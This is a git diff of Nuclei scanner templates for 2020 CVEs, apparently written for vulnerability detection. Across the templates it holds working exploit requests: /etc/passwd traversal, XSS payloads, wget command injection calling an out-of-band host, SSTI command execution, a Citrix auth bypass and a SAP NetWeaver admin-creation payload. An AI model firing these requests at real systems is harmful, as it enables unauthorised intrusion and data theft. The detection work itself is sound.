"{{BaseURL}}/index.php?download=/etc/passwd" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2020/cve-2020-27982.yaml b/nuclei-templates/CVE-2020/cve-2020-27982.yaml new file mode 100644 index 0000000000..f46b932a44 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-27982.yaml @@ -0,0 +1,34 @@ +id: CVE-2020-27982 +info: + name: IceWarp WebMail Reflected XSS + author: madrobot + severity: medium + description: IceWarp 11.4.5.0 allows XSS via the language parameter. + reference: https://packetstormsecurity.com/files/159763/Icewarp-WebMail-11.4.5.0-Cross-Site-Scripting.html + tags: cve,cve2020,xss,icewarp + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2020-27982 + cwe-id: CWE-79 + +requests: + - method: GET + path: + - "{{BaseURL}}/webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "" + part: body + + - type: word + words: + - "text/html" + part: header \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-28188.yaml b/nuclei-templates/CVE-2020/cve-2020-28188.yaml deleted file mode 100644 index 4fac70ed9a..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-28188.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2020-28188 - -info: - name: TerraMaster TOS - Unauthenticated Remote Command Execution - author: gy741 - severity: critical - description: Remote Command Execution (RCE) vulnerability in TerraMaster TOS <= 4.2.06 allow remote unauthenticated attackers to inject OS commands via /include/makecvs.php in Event parameter. - reference: - - https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/ - - https://www.pentest.com.tr/exploits/TerraMaster-TOS-4-2-06-Unauthenticated-Remote-Code-Execution.html - - https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/ - tags: cve,cve2020,terramaster,rce,oast,mirai - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-28188 - cwe-id: CWE-78 - -requests: - - raw: - - | - GET /include/makecvs.php?Event=%60wget%20http%3A%2F%2F{{interactsh-url}}%60 HTTP/1.1 - Host: {{Hostname}} - - - | - GET /tos/index.php?explorer/pathList&path=%60wget%20http%3A%2F%2F{{interactsh-url}}%60 HTTP/1.1 - Host: {{Hostname}} - - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" diff --git a/nuclei-templates/CVE-2020/cve-2020-28871.yaml b/nuclei-templates/CVE-2020/cve-2020-28871.yaml deleted file mode 100644 index 8520809f13..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-28871.yaml +++ /dev/null @@ -1,49 +0,0 @@ -id: CVE-2020-28871 - -info: - name: Monitorr 1.7.6m - Unauthenticated Remote Code Execution - author: gy741 - severity: critical - description: This template detects a remote code execution (RCE) vulnerability in Monitorr 1.7.6m. Improper input validation and lack of authorization leads to arbitrary file uploads in the web application. An unauthorized attacker with web access to could upload and execute a specially crafted file, leading to remote code execution within the Monitorr. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2020-28871 - - https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/ - - https://www.exploit-db.com/exploits/48980 - tags: cve,cve2020,monitorr,rce,oast - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-28871 - cwe-id: CWE-434 - -requests: - - raw: - - | - POST /assets/php/upload.php HTTP/1.1 - Host: {{Hostname}} - Accept-Encoding: gzip, deflate - Accept: text/plain, */*; q=0.01 - Connection: close - Accept-Language: en-US,en;q=0.5 - X-Requested-With: XMLHttpRequest - Content-Type: multipart/form-data; boundary=---------------------------31046105003900160576454225745 - Origin: http://{{Hostname}} - Referer: http://{{Hostname}} - - -----------------------------31046105003900160576454225745 - Content-Disposition: form-data; name="fileToUpload"; filename="{{randstr}}.php" - Content-Type: image/gif - - GIF89a213213123')" + - "status_code_2 != 401" + condition: and \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/CVE-2020-36289.yaml b/nuclei-templates/CVE-2020/cve-2020-36289.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-36289.yaml rename to nuclei-templates/CVE-2020/cve-2020-36289.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-4463.yaml b/nuclei-templates/CVE-2020/cve-2020-4463.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-4463.yaml rename to nuclei-templates/CVE-2020/cve-2020-4463.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-5405.yaml b/nuclei-templates/CVE-2020/cve-2020-5405.yaml new file mode 100644 index 0000000000..4a7aa0348f --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-5405.yaml @@ -0,0 +1,28 @@ +id: CVE-2020-5405 + +info: + name: Spring Cloud Directory Traversal + author: harshbothra_ + severity: medium + description: Spring Cloud Config, versions 2.2.x prior to 2.2.2, versions 2.1.x prior to 2.1.7, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack. + reference: https://pivotal.io/security/cve-2020-5405 + tags: cve,cve2020,lfi,springcloud + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N + cvss-score: 6.50 + cve-id: CVE-2020-5405 + cwe-id: CWE-22 + +requests: + - method: GET + path: + - '{{BaseURL}}/a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd' + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + regex: + - "root:.*:0:0:" + part: body diff --git a/nuclei-templates/CVE-2020/cve-2020-5410.yaml b/nuclei-templates/CVE-2020/cve-2020-5410.yaml deleted file mode 100644 index e8a81af7f6..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-5410.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2020-5410 - -info: - name: Directory Traversal in Spring Cloud Config Server - author: mavericknerd - severity: high - description: Spring Cloud Config, versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead to a directory traversal attack. - reference: https://tanzu.vmware.com/security/cve-2020-5410 - tags: cve,cve2020,lfi,springcloud,config,traversal - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2020-5410 - cwe-id: CWE-22 - -requests: - - method: GET - path: - - "{{BaseURL}}/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "root:.*:0:0:" - part: body diff --git a/nuclei-templates/CVE-2020/cve-2020-5777.yaml b/nuclei-templates/CVE-2020/cve-2020-5777.yaml deleted file mode 100644 index 4073d2b145..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-5777.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2020-5777 - -info: - name: Remote Auth Bypass in MAGMI (Magento Mass Importer) Plugin <= v0.7.23 - author: dwisiswant0 - severity: critical - description: MAGMI versions prior to 0.7.24 are vulnerable to a remote authentication bypass due to allowing default credentials in the event there is a database connection failure. - reference: https://github.com/dweeves/magmi-git/blob/18bd9ec905c90bfc9eaed0c2bf2d3525002e33b9/magmi/inc/magmi_auth.php#L35 - tags: cve,cve2020,magmi,magento,auth,bypass,plugin - - # Response code 503 indicates a potential successful "Too many connections" error - # While the Db connection is down, you can access http://[TARGET]/magmi/web/magmi.php - # with default credential "magmi:magmi" (Authorization: Basic bWFnbWk6bWFnbWk=) - # Tested on a AWS t2.medium with max_connection = 75 and PHP-FPM pm-max_children = 100 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2020-5777 - cwe-id: CWE-287 - -requests: - - raw: - - | - GET /index.php/catalogsearch/advanced/result/?name=e HTTP/1.1 - Host: {{Hostname}} - Connection: close - - matchers-condition: and - matchers: - - type: word - words: - - "Too many connections" - part: body - - type: status - status: - - 503 diff --git a/nuclei-templates/CVE-2020/cve-2020-6287.yaml b/nuclei-templates/CVE-2020/cve-2020-6287.yaml deleted file mode 100644 index d86e3db289..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-6287.yaml +++ /dev/null @@ -1,53 +0,0 @@ -id: CVE-2020-6287 - -info: - name: SAP NetWeaver - Remote Admin addition - author: dwisiswant0 - severity: critical - tags: cve,cve2020,sap - description: | - SAP NetWeaver AS JAVA (LM Configuration Wizard), versions - 7.30, 7.31, 7.40, 7.50, does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity and Availability of the system, leading to Missing Authentication Check. - reference: - - https://launchpad.support.sap.com/#/notes/2934135 - - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675 - - https://www.onapsis.com/recon-sap-cyber-security-vulnerability - - https://github.com/chipik/SAP_RECON - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10.00 - cve-id: CVE-2020-6287 - cwe-id: CWE-306 - -requests: - - raw: - - | - POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1 - Host: {{Hostname}} - Content-Type: text/xml; charset=UTF-8 - Connection: close - - sap.com/tc~lm~config~contentcontent/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc - CiAgICAgICAgICAgIDxQQ0s+CiAgICAgICAgICAgIDxVc2VybWFuYWdlbWVudD4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT05GSUc+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+QWRtaW5pc3RyYXRvcjwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0NPTkZJRz4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgICAgPHJvbGVOYW1lPlRoaXNJc1JuZDczODA8L3JvbGVOYW1lPgogICAgICAgICAgICAgIDwvU0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgIDxTQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgPFNBUF9YSV9QQ0tfQURNSU4+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0FETUlOPgogICAgICAgICAgICAgIDxQQ0tVc2VyPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lIHNlY3VyZT0idHJ1ZSI+c2FwUnBvYzYzNTE8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+U2VjdXJlIVB3RDg4OTA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLVXNlcj4KICAgICAgICAgICAgICA8UENLUmVjZWl2ZXI+CiAgICAgICAgICAgICAgICA8dXNlck5hbWU+VGhpc0lzUm5kNzM4MDwvdXNlck5hbWU+CiAgICAgICAgICAgICAgICA8cGFzc3dvcmQgc2VjdXJlPSJ0cnVlIj5UaGlzSXNSbmQ3MzgwPC9wYXNzd29yZD4KICAgICAgICAgICAgICA8L1BDS1JlY2VpdmVyPgogICAgICAgICAgICAgIDxQQ0tNb25pdG9yPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lPlRoaXNJc1JuZDczODA8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+VGhpc0lzUm5kNzM4MDwvcGFzc3dvcmQ+CiAgICAgICAgICAgICAgPC9QQ0tNb25pdG9yPgogICAgICAgICAgICAgIDxQQ0tBZG1pbj4KICAgICAgICAgICAgICAgIDx1c2VyTmFtZT5UaGlzSXNSbmQ3MzgwPC91c2VyTmFtZT4KICAgICAgICAgICAgICAgIDxwYXNzd29yZCBzZWN1cmU9InRydWUiPlRoaXNJc1JuZDczODA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLQWRtaW4+CiAgICAgICAgICAgIDwvVXNlcm1hbmFnZW1lbnQ+CiAgICAgICAgICA8L1BDSz4KICAgIA== - userDetails - - # userName - sapRpoc6351 - # password - Secure!PwD8890 - - matchers-condition: and - matchers: - - type: word - words: - - "CTCWebServiceSi" - - "SOAP-ENV" - part: body - condition: and - - - type: status - status: - - 200 - - - type: word - words: - - "text/xml" - - "SAP NetWeaver Application Server" - part: header diff --git a/nuclei-templates/CVE-2020/CVE-2020-7246.yaml b/nuclei-templates/CVE-2020/cve-2020-7246.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-7246.yaml rename to nuclei-templates/CVE-2020/cve-2020-7246.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-7318.yaml b/nuclei-templates/CVE-2020/cve-2020-7318.yaml deleted file mode 100644 index 5d994c8781..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-7318.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2020-7318 - -info: - name: McAfee ePolicy Orchestrator Reflected XSS - author: dwisiswant0 - severity: medium - description: | - Cross-Site Scripting vulnerability in McAfee ePolicy Orchestrator (ePO) - prior to 5.10.9 Update 9 allows administrators to inject arbitrary web - script or HTML via multiple parameters where the administrator's entries - were not correctly sanitized. - - reference: - - https://swarm.ptsecurity.com/vulnerabilities-in-mcafee-epolicy-orchestrator/ - tags: cve,cve2020,xss,mcafee - classification: - cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - cvss-score: 4.30 - cve-id: CVE-2020-7318 - cwe-id: CWE-79 - -requests: - - raw: - - | - GET /PolicyMgmt/policyDetailsCard.do?poID=19&typeID=3&prodID=%27%22%3E%3Csvg%2fonload%3dalert(document.domain)%3E HTTP/1.1 - Host: {{Hostname}} - Connection: close - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "text/html" - part: header - - type: word - words: - - "Policy Name" - - "'\">" - condition: and - part: body diff --git a/nuclei-templates/CVE-2020/cve-2020-8191.yaml b/nuclei-templates/CVE-2020/cve-2020-8191.yaml new file mode 100644 index 0000000000..850e1e43ea --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-8191.yaml @@ -0,0 +1,41 @@ +id: CVE-2020-8191 + +info: + name: Citrix ADC & NetScaler Gateway Reflected XSS + author: dwisiswant0 + severity: medium + tags: cve,cve2020,citrix,xss + reference: https://support.citrix.com/article/CTX276688 + description: | + Improper input validation in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allows reflected Cross Site Scripting (XSS). + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2020-8191 + cwe-id: CWE-79 + +requests: + - raw: + - | + POST /menu/stapp HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + X-NITRO-USER: xpyZxwy6 + + sid=254&pe=1,2,3,4,5&appname=%0a&au=1&username=nsroot + + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + + - type: status + status: + - 200 + + - type: word + words: + - "text/html" + part: header \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-8193.yaml b/nuclei-templates/CVE-2020/cve-2020-8193.yaml new file mode 100644 index 0000000000..286402bddc --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-8193.yaml @@ -0,0 +1,74 @@ +id: CVE-2020-8193 + +info: + name: Citrix unauthenticated LFI + author: pdteam + severity: medium + reference: + - https://github.com/jas502n/CVE-2020-8193 + - http://packetstormsecurity.com/files/160047/Citrix-ADC-NetScaler-Local-File-Inclusion.html + description: Improper access control in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allows unauthenticated access to certain URL endpoints. + tags: cve,cve2020,citrix,lfi + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N + cvss-score: 6.50 + cve-id: CVE-2020-8193 + cwe-id: CWE-862 + +requests: + - raw: + - | + POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/xml + X-NITRO-USER: xpyZxwy6 + X-NITRO-PASS: xWXHUJ56 + + + + - | + GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1 + Host: {{Hostname}} + + - | + GET /menu/neo HTTP/1.1 + Host: {{Hostname}} + + - | + GET /menu/stc HTTP/1.1 + Host: {{Hostname}} + + - | + POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/xml + X-NITRO-USER: oY39DXzQ + X-NITRO-PASS: ZuU9Y9c1 + rand_key: §randkey§ + + + + - | + POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/xml + X-NITRO-USER: oY39DXzQ + X-NITRO-PASS: ZuU9Y9c1 + rand_key: §randkey§ + + + + cookie-reuse: true + extractors: + - type: regex + name: randkey # dynamic variable + part: body + internal: true + regex: + - "(?m)[0-9]{3,10}\\.[0-9]+" + + matchers: + - type: regex + regex: + - "root:.*:0:0:" + part: body \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-8194.yaml b/nuclei-templates/CVE-2020/cve-2020-8194.yaml new file mode 100644 index 0000000000..70af4732d1 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-8194.yaml @@ -0,0 +1,37 @@ +id: CVE-2020-8194 + +info: + name: Citrix ADC & NetScaler Gateway Reflected Code Injection + author: dwisiswant0 + severity: medium + tags: cve,cve2020,citrix + description: Reflected code injection in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allows the modification of a file download. + reference: https://support.citrix.com/article/CTX276688 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N + cvss-score: 6.50 + cve-id: CVE-2020-8194 + cwe-id: CWE-94 + +requests: + - raw: + - | + GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337">&id=3&nsvpx=phpinfo HTTP/1.1 + Host: {{Hostname}} + Cookie: startupapp=st + + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + + - type: word + words: + - "application/x-java-jnlp-file" + part: header + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2020/CVE-2020-8515.yaml b/nuclei-templates/CVE-2020/cve-2020-8515.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-8515.yaml rename to nuclei-templates/CVE-2020/cve-2020-8515.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-8644.yaml b/nuclei-templates/CVE-2020/cve-2020-8644.yaml new file mode 100644 index 0000000000..aae9417521 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-8644.yaml @@ -0,0 +1,68 @@ +id: CVE-2020-8644 + +info: + name: playSMS <1.4.3 - Remote Code Execution + author: dbrwsky + severity: critical + description: PlaySMS before version 1.4.3 is susceptible to remote code execution because it double processes a server-side template. + impact: | + Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system. + remediation: | + Upgrade playSMS to version 1.4.4 or later to mitigate this vulnerability. + reference: + - https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/ + - https://playsms.org/2020/02/05/playsms-1-4-3-has-been-released/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-8644 + - http://packetstormsecurity.com/files/157106/PlaySMS-index.php-Unauthenticated-Template-Injection-Code-Execution.html + - https://forum.playsms.org/t/playsms-1-4-3-has-been-released/2704 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-8644 + cwe-id: CWE-94 + epss-score: 0.96028 + epss-percentile: 0.99356 + cpe: cpe:2.3:a:playsms:playsms:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: playsms + product: playsms + tags: cve,cve2020,unauth,kev,packetstorm,ssti,playsms,rce + +http: + - raw: + - | + GET /index.php?app=main&inc=core_auth&route=login HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + - | + POST /index.php?app=main&inc=core_auth&route=login&op=login HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + Content-Type: application/x-www-form-urlencoded + + X-CSRF-Token={{csrf}}&username=%7B%7B%60echo%20%27CVE-2020-8644%27%20%7C%20rev%60%7D%7D&password= + + host-redirects: true + max-redirects: 2 + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '4468-0202-EVC' + + - type: status + status: + - 200 + + extractors: + - type: xpath + name: csrf + internal: true + xpath: + - /html/body/div[1]/div/div/table/tbody/tr[2]/td/table/tbody/tr/td/form/input + attribute: value + part: body +# digest: 4a0a00473045022100de0fd4f3f3ad0fb96410bfb6090044c9b207a545e58487ddd0511778356e78c702202963c19d8dd8b9609b66bad92c7de0ffbe0fb371c60ada6d7cc14bdf04c0a9de:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-8654.yaml b/nuclei-templates/CVE-2020/cve-2020-8654.yaml new file mode 100644 index 0000000000..9f41122e5c --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-8654.yaml @@ -0,0 +1,60 @@ +id: CVE-2020-8654 + +info: + name: EyesOfNetwork 5.1-5.3 - SQL Injection/Remote Code Execution + author: praetorian-thendrickson + severity: high + description: EyesOfNetwork 5.1 to 5.3 contains SQL injection and remote code execution vulnerabilities. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. See also CVE-2020-8655, CVE-2020-8656, CVE-2020-8657, and CVE-2020-9465. + impact: | + Successful exploitation of these vulnerabilities could allow an attacker to execute arbitrary SQL queries or remote code on the affected system. + remediation: | + Upgrade to a patched version of EyesOfNetwork or apply the necessary security patches to mitigate the vulnerabilities. + reference: + - https://github.com/h4knet/eonrce + - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/eyesofnetwork_autodiscovery_rce.rb + - https://github.com/EyesOfNetworkCommunity/eonweb/issues/50 + - https://nvd.nist.gov/vuln/detail/CVE-2020-8654 + - https://github.com/ARPSyndicate/cvemon + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2020-8654 + cwe-id: CWE-78 + epss-score: 0.04987 + epss-percentile: 0.92656 + cpe: cpe:2.3:a:eyesofnetwork:eyesofnetwork:5.3-0:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: eyesofnetwork + product: eyesofnetwork + tags: cve2020,cve,cisa,eyesofnetwork,rce,authenticated,msf,sqli + +http: + - method: GET + path: + - "{{BaseURL}}/css/eonweb.css" + + matchers-condition: and + matchers: + - type: dsl + dsl: + - compare_versions(version, '< 5.4', '>= 5.1') + + - type: word + part: body + words: + - "EyesOfNetwork" + + - type: status + status: + - 200 + + extractors: + - type: regex + name: version + group: 1 + regex: + - "# VERSION : ([0-9.]+)" + internal: true + part: body +# digest: 4a0a0047304502207ebd6b469ac0bd67dd7bc462fa62ef88bde2a9cb294df7a70aecebfd8f51f913022100be00ea371f5c1dbe5dd0833ee69f20b921c315d38f0cca3ba9d8e3af3b938674:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/cve-2020-8813.yaml b/nuclei-templates/CVE-2020/cve-2020-8813.yaml new file mode 100644 index 0000000000..d8ab5f4114 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-8813.yaml @@ -0,0 +1,28 @@ +id: CVE-2020-8813 + +info: + name: Cacti v1.2.8 - Unauthenticated Remote Code Execution + author: gy741 + severity: high + description: This vulnerability could be exploited without authentication if Cacti is enabling “Guest Realtime Graphs” privilege, So in this case no need for the authentication part and you can just use the following code to exploit the vulnerability + reference: + - https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/ + tags: cve,cve2020,cacti,rce,oast + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.80 + cve-id: CVE-2020-8813 + cwe-id: CWE-78 + +requests: + - raw: + - | + GET /graph_realtime.php?action=init HTTP/1.1 + Host: {{Hostname}} + Cookie: Cacti=%3Bwget%20http%3A//{{interactsh-url}} + + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" diff --git a/nuclei-templates/CVE-2020/cve-2020-8982.yaml b/nuclei-templates/CVE-2020/cve-2020-8982.yaml deleted file mode 100644 index 34b82f700e..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-8982.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2020-8982 - -info: - name: Citrix ShareFile StorageZones Unauthenticated Arbitrary File Read - author: dwisiswant0 - severity: high - description: An unauthenticated arbitrary file read issue exists in all versions of Citrix ShareFile StorageZones (aka storage zones) Controller, including the most recent 5.10.x releases as of May 2020. - tags: cve,cve2020,citrix,lfi - reference: https://support.citrix.com/article/CTX269106 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2020-8982 - cwe-id: CWE-22 - -requests: - - method: GET - path: - - "{{BaseURL}}/XmlPeek.aspx?dt=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini&x=/validate.ashx?requri" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "bit app support" - - "fonts" - - "extensions" - condition: and - part: body diff --git a/nuclei-templates/CVE-2020/cve-2020-9043.yaml b/nuclei-templates/CVE-2020/cve-2020-9043.yaml new file mode 100644 index 0000000000..3a4e5cdd20 --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-9043.yaml @@ -0,0 +1,80 @@ +id: CVE-2020-9043 + +info: + name: WordPress wpCentral <1.5.1 - Information Disclosure + author: scent2d + severity: high + description: | + WordPress wpCentral plugin before 1.5.1 is susceptible to information disclosure. An attacker can access the connection key for WordPress Admin account and thus potentially obtain sensitive information, modify data, and/or execute unauthorized operations. + impact: | + An attacker can exploit this vulnerability to gain sensitive information from the wpCentral plugin. + remediation: | + Update the wpCentral plugin to version 1.5.1 or later to fix the information disclosure vulnerability. + reference: + - https://wpscan.com/vulnerability/10074 + - https://www.wordfence.com/blog/2020/02/vulnerability-in-wpcentral-plugin-leads-to-privilege-escalation/ + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9043 + - https://wordpress.org/plugins/wp-central/#developers + - https://nvd.nist.gov/vuln/detail/CVE-2020-9043 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2020-9043 + cwe-id: CWE-200 + epss-score: 0.04173 + epss-percentile: 0.91333 + cpe: cpe:2.3:a:wpcentral:wpcentral:*:*:*:*:*:wordpress:*:* + metadata: + verified: true + max-request: 4 + vendor: wpcentral + product: wpcentral + framework: wordpress + tags: cve,cve2020,wordpress,wp-plugin,wpcentral,authenticated,wp,wpscan + +http: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + - | + GET /wp-admin/index.php HTTP/1.1 + Host: {{Hostname}} + - | + GET /wp-login.php?action=logout&_wpnonce={{nonce}} HTTP/1.1 + Host: {{Hostname}} + - | + GET /wp-admin/admin-ajax.php?action=my_wpc_signon&auth_key={{authkey}} HTTP/1.1 + Host: {{Hostname}} + + host-redirects: true + max-redirects: 2 + matchers: + - type: dsl + dsl: + - "contains(header_4, 'text/html')" + - "status_code_4 == 200" + - "contains(body_4, 'wpCentral Connection Key')" + - contains(body_4, "pagenow = \'dashboard\'") + condition: and + + extractors: + - type: regex + name: authkey + group: 1 + regex: + - 'style="word-wrap:break-word;">([a-z0-9]+)' + 